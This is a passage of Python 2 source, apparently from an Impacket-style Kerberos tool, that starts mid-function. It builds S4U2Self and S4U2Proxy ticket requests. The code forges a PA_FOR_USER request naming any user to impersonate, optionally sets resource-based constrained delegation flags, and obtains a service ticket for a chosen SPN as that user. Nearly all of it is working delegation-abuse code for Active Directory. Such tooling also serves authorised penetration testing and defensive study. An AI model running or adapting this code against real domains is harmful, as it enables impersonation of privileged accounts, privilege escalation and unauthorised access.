apReq['pvno'] = 5 apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value) opts = list() apReq['ap-options'] = constants.encodeFlags(opts) seq_set(apReq, 'ticket', ticketTGT.to_asn1) authenticator = Authenticator() authenticator['authenticator-vno'] = 5 authenticator['crealm'] = str(decodedTGT['crealm']) clientName = Principal() clientName.from_asn1(decodedTGT, 'crealm', 'cname') seq_set(authenticator, 'cname', clientName.components_to_asn1) now = datetime.datetime.utcnow() authenticator['cusec'] = now.microsecond authenticator['ctime'] = KerberosTime.to_asn1(now) encodedAuthenticator = encoder.encode(authenticator) # Key Usage 7 # TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes # TGS authenticator subkey), encrypted with the TGS session # key (Section 5.5.1) encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 7, encodedAuthenticator, None) apReq['authenticator'] = noValue apReq['authenticator']['etype'] = cipher.enctype apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator encodedApReq = encoder.encode(apReq) tgsReq = TGS_REQ() tgsReq['pvno'] = 5 tgsReq['msg-type'] = int(constants.ApplicationTagNumbers.TGS_REQ.value) tgsReq['padata'] = noValue tgsReq['padata'][0] = noValue tgsReq['padata'][0]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value) tgsReq['padata'][0]['padata-value'] = encodedApReq # Add resource-based constrained delegation support paPacOptions = PA_PAC_OPTIONS() paPacOptions['flags'] = constants.encodeFlags((constants.PAPacOptions.resource_based_constrained_delegation.value,)) tgsReq['padata'][1] = noValue tgsReq['padata'][1]['padata-type'] = constants.PreAuthenticationDataTypes.PA_PAC_OPTIONS.value tgsReq['padata'][1]['padata-value'] = encoder.encode(paPacOptions) reqBody = seq_set(tgsReq, 'req-body') opts = list() # This specified we're doing S4U opts.append(constants.KDCOptions.cname_in_addl_tkt.value) opts.append(constants.KDCOptions.canonicalize.value) opts.append(constants.KDCOptions.forwardable.value) opts.append(constants.KDCOptions.renewable.value) reqBody['kdc-options'] = constants.encodeFlags(opts) service2 = Principal(self.__options.spn, type=constants.PrincipalNameType.NT_SRV_INST.value) seq_set(reqBody, 'sname', service2.components_to_asn1) reqBody['realm'] = self.__domain myTicket = ticket.to_asn1(TicketAsn1()) seq_set_iter(reqBody, 'additional-tickets', (myTicket,)) now = datetime.datetime.utcnow() + datetime.timedelta(days=1) reqBody['till'] = KerberosTime.to_asn1(now) reqBody['nonce'] = random.getrandbits(31) seq_set_iter(reqBody, 'etype', ( int(constants.EncryptionTypes.rc4_hmac.value), int(constants.EncryptionTypes.des3_cbc_sha1_kd.value), int(constants.EncryptionTypes.des_cbc_md5.value), int(cipher.enctype) ) ) message = encoder.encode(tgsReq) logging.info('\tRequesting S4U2Proxy') r = sendReceive(message, self.__domain, kdcHost) tgs = decoder.decode(r, asn1Spec=TGS_REP())[0] cipherText = tgs['enc-part']['cipher'] # Key Usage 8 # TGS-REP encrypted part (includes application session # key), encrypted with the TGS session key (Section 5.4.2) plainText = cipher.decrypt(sessionKey, 8, cipherText) encTGSRepPart = decoder.decode(plainText, asn1Spec=EncTGSRepPart())[0] newSessionKey = Key(encTGSRepPart['key']['keytype'], encTGSRepPart['key']['keyvalue']) # Creating new cipher based on received keytype cipher = _enctype_table[encTGSRepPart['key']['keytype']] return r, cipher, sessionKey, newSessionKey
def doS4U(self, tgt, cipher, oldSessionKey, sessionKey): decodedTGT = decoder.decode(tgt, asn1Spec=AS_REP())[0] # Extract the ticket from the TGT ticket = Ticket() ticket.from_asn1(decodedTGT['ticket']) apReq = AP_REQ() apReq['pvno'] = 5 apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value) opts = list() apReq['ap-options'] = constants.encodeFlags(opts) seq_set(apReq, 'ticket', ticket.to_asn1) authenticator = Authenticator() authenticator['authenticator-vno'] = 5 authenticator['crealm'] = str(decodedTGT['crealm']) clientName = Principal() clientName.from_asn1(decodedTGT, 'crealm', 'cname') seq_set(authenticator, 'cname', clientName.components_to_asn1) now = datetime.datetime.utcnow() authenticator['cusec'] = now.microsecond authenticator['ctime'] = KerberosTime.to_asn1(now) if logging.getLogger().level == logging.DEBUG: logging.debug('AUTHENTICATOR') print authenticator.prettyPrint() print('\n') encodedAuthenticator = encoder.encode(authenticator) # Key Usage 7 # TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes # TGS authenticator subkey), encrypted with the TGS session # key (Section 5.5.1) encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 7, encodedAuthenticator, None) apReq['authenticator'] = noValue apReq['authenticator']['etype'] = cipher.enctype apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator encodedApReq = encoder.encode(apReq) tgsReq = TGS_REQ() tgsReq['pvno'] = 5 tgsReq['msg-type'] = int(constants.ApplicationTagNumbers.TGS_REQ.value) tgsReq['padata'] = noValue tgsReq['padata'][0] = noValue tgsReq['padata'][0]['padata-type'] = int( constants.PreAuthenticationDataTypes.PA_TGS_REQ.value) tgsReq['padata'][0]['padata-value'] = encodedApReq # In the S4U2self KRB_TGS_REQ/KRB_TGS_REP protocol extension, a service # requests a service ticket to itself on behalf of a user. The user is # identified to the KDC by the user's name and realm. clientName = Principal( self.__options.impersonate, type=constants.PrincipalNameType.NT_PRINCIPAL.value) S4UByteArray = struct.pack( '<I', constants.PrincipalNameType.NT_PRINCIPAL.value) S4UByteArray += self.__options.impersonate + self.__domain + 'Kerberos' if logging.getLogger().level == logging.DEBUG: logging.debug('S4UByteArray') hexdump(S4UByteArray) # Finally cksum is computed by calling the KERB_CHECKSUM_HMAC_MD5 hash # with the following three parameters: the session key of the TGT of # the service performing the S4U2Self request, the message type value # of 17, and the byte array S4UByteArray. checkSum = _HMACMD5.checksum(sessionKey, 17, S4UByteArray) if logging.getLogger().level == logging.DEBUG: logging.debug('CheckSum') hexdump(checkSum) paForUserEnc = PA_FOR_USER_ENC() seq_set(paForUserEnc, 'userName', clientName.components_to_asn1) paForUserEnc['userRealm'] = self.__domain paForUserEnc['cksum'] = noValue paForUserEnc['cksum']['cksumtype'] = int( constants.ChecksumTypes.hmac_md5.value) paForUserEnc['cksum']['checksum'] = checkSum paForUserEnc['auth-package'] = 'Kerberos' if logging.getLogger().level == logging.DEBUG: logging.debug('PA_FOR_USER_ENC') print paForUserEnc.prettyPrint() encodedPaForUserEnc = encoder.encode(paForUserEnc) tgsReq['padata'][1] = noValue tgsReq['padata'][1]['padata-type'] = int( constants.PreAuthenticationDataTypes.PA_FOR_USER.value) tgsReq['padata'][1]['padata-value'] = encodedPaForUserEnc reqBody = seq_set(tgsReq, 'req-body') opts = list() opts.append(constants.KDCOptions.forwardable.value) opts.append(constants.KDCOptions.renewable.value) opts.append(constants.KDCOptions.canonicalize.value) reqBody['kdc-options'] = constants.encodeFlags(opts) serverName = Principal( self.__user, type=constants.PrincipalNameType.NT_UNKNOWN.value) seq_set(reqBody, 'sname', serverName.components_to_asn1) reqBody['realm'] = str(decodedTGT['crealm']) now = datetime.datetime.utcnow() + datetime.timedelta(days=1) reqBody['till'] = KerberosTime.to_asn1(now) reqBody['nonce'] = random.getrandbits(31) seq_set_iter(reqBody, 'etype', (int( cipher.enctype), int(constants.EncryptionTypes.rc4_hmac.value))) if logging.getLogger().level == logging.DEBUG: logging.debug('Final TGS') print tgsReq.prettyPrint() logging.info('\tRequesting S4U2self') message = encoder.encode(tgsReq) r = sendReceive(message, self.__domain, None) tgs = decoder.decode(r, asn1Spec=TGS_REP())[0] if logging.getLogger().level == logging.DEBUG: logging.debug('TGS_REP') print tgs.prettyPrint() ################################################################################ # Up until here was all the S4USelf stuff. Now let's start with S4U2Proxy # So here I have a ST for me.. I now want a ST for another service # Extract the ticket from the TGT ticketTGT = Ticket() ticketTGT.from_asn1(decodedTGT['ticket']) ticket = Ticket() ticket.from_asn1(tgs['ticket']) apReq = AP_REQ() apReq['pvno'] = 5 apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value) opts = list() apReq['ap-options'] = constants.encodeFlags(opts) seq_set(apReq, 'ticket', ticketTGT.to_asn1) authenticator = Authenticator() authenticator['authenticator-vno'] = 5 authenticator['crealm'] = str(decodedTGT['crealm']) clientName = Principal() clientName.from_asn1(decodedTGT, 'crealm', 'cname') seq_set(authenticator, 'cname', clientName.components_to_asn1) now = datetime.datetime.utcnow() authenticator['cusec'] = now.microsecond authenticator['ctime'] = KerberosTime.to_asn1(now) encodedAuthenticator = encoder.encode(authenticator) # Key Usage 7 # TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes # TGS authenticator subkey), encrypted with the TGS session # key (Section 5.5.1) encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 7, encodedAuthenticator, None) apReq['authenticator'] = noValue apReq['authenticator']['etype'] = cipher.enctype apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator encodedApReq = encoder.encode(apReq) tgsReq = TGS_REQ() tgsReq['pvno'] = 5 tgsReq['msg-type'] = int(constants.ApplicationTagNumbers.TGS_REQ.value) tgsReq['padata'] = noValue tgsReq['padata'][0] = noValue tgsReq['padata'][0]['padata-type'] = int( constants.PreAuthenticationDataTypes.PA_TGS_REQ.value) tgsReq['padata'][0]['padata-value'] = encodedApReq reqBody = seq_set(tgsReq, 'req-body') opts = list() # This specified we're doing S4U opts.append(constants.KDCOptions.cname_in_addl_tkt.value) opts.append(constants.KDCOptions.canonicalize.value) opts.append(constants.KDCOptions.forwardable.value) opts.append(constants.KDCOptions.renewable.value) reqBody['kdc-options'] = constants.encodeFlags(opts) service2 = Principal( self.__options.spn, type=constants.PrincipalNameType.NT_SRV_INST.value) seq_set(reqBody, 'sname', service2.components_to_asn1) reqBody['realm'] = self.__domain myTicket = ticket.to_asn1(TicketAsn1()) seq_set_iter(reqBody, 'additional-tickets', (myTicket, )) now = datetime.datetime.utcnow() + datetime.timedelta(days=1) reqBody['till'] = KerberosTime.to_asn1(now) reqBody['nonce'] = random.getrandbits(31) seq_set_iter(reqBody, 'etype', (int(constants.EncryptionTypes.rc4_hmac.value), int(constants.EncryptionTypes.des3_cbc_sha1_kd.value), int(constants.EncryptionTypes.des_cbc_md5.value), int(cipher.enctype))) message = encoder.encode(tgsReq) logging.info('\tRequesting S4U2Proxy') r = sendReceive(message, self.__domain, None) tgs = decoder.decode(r, asn1Spec=TGS_REP())[0] cipherText = tgs['enc-part']['cipher'] # Key Usage 8 # TGS-REP encrypted part (includes application session # key), encrypted with the TGS session key (Section 5.4.2) plainText = cipher.decrypt(sessionKey, 8, str(cipherText)) encTGSRepPart = decoder.decode(plainText, asn1Spec=EncTGSRepPart())[0] newSessionKey = Key(encTGSRepPart['key']['keytype'], str(encTGSRepPart['key']['keyvalue'])) # Creating new cipher based on received keytype cipher = _enctype_table[encTGSRepPart['key']['keytype']] return r, cipher, sessionKey, newSessionKey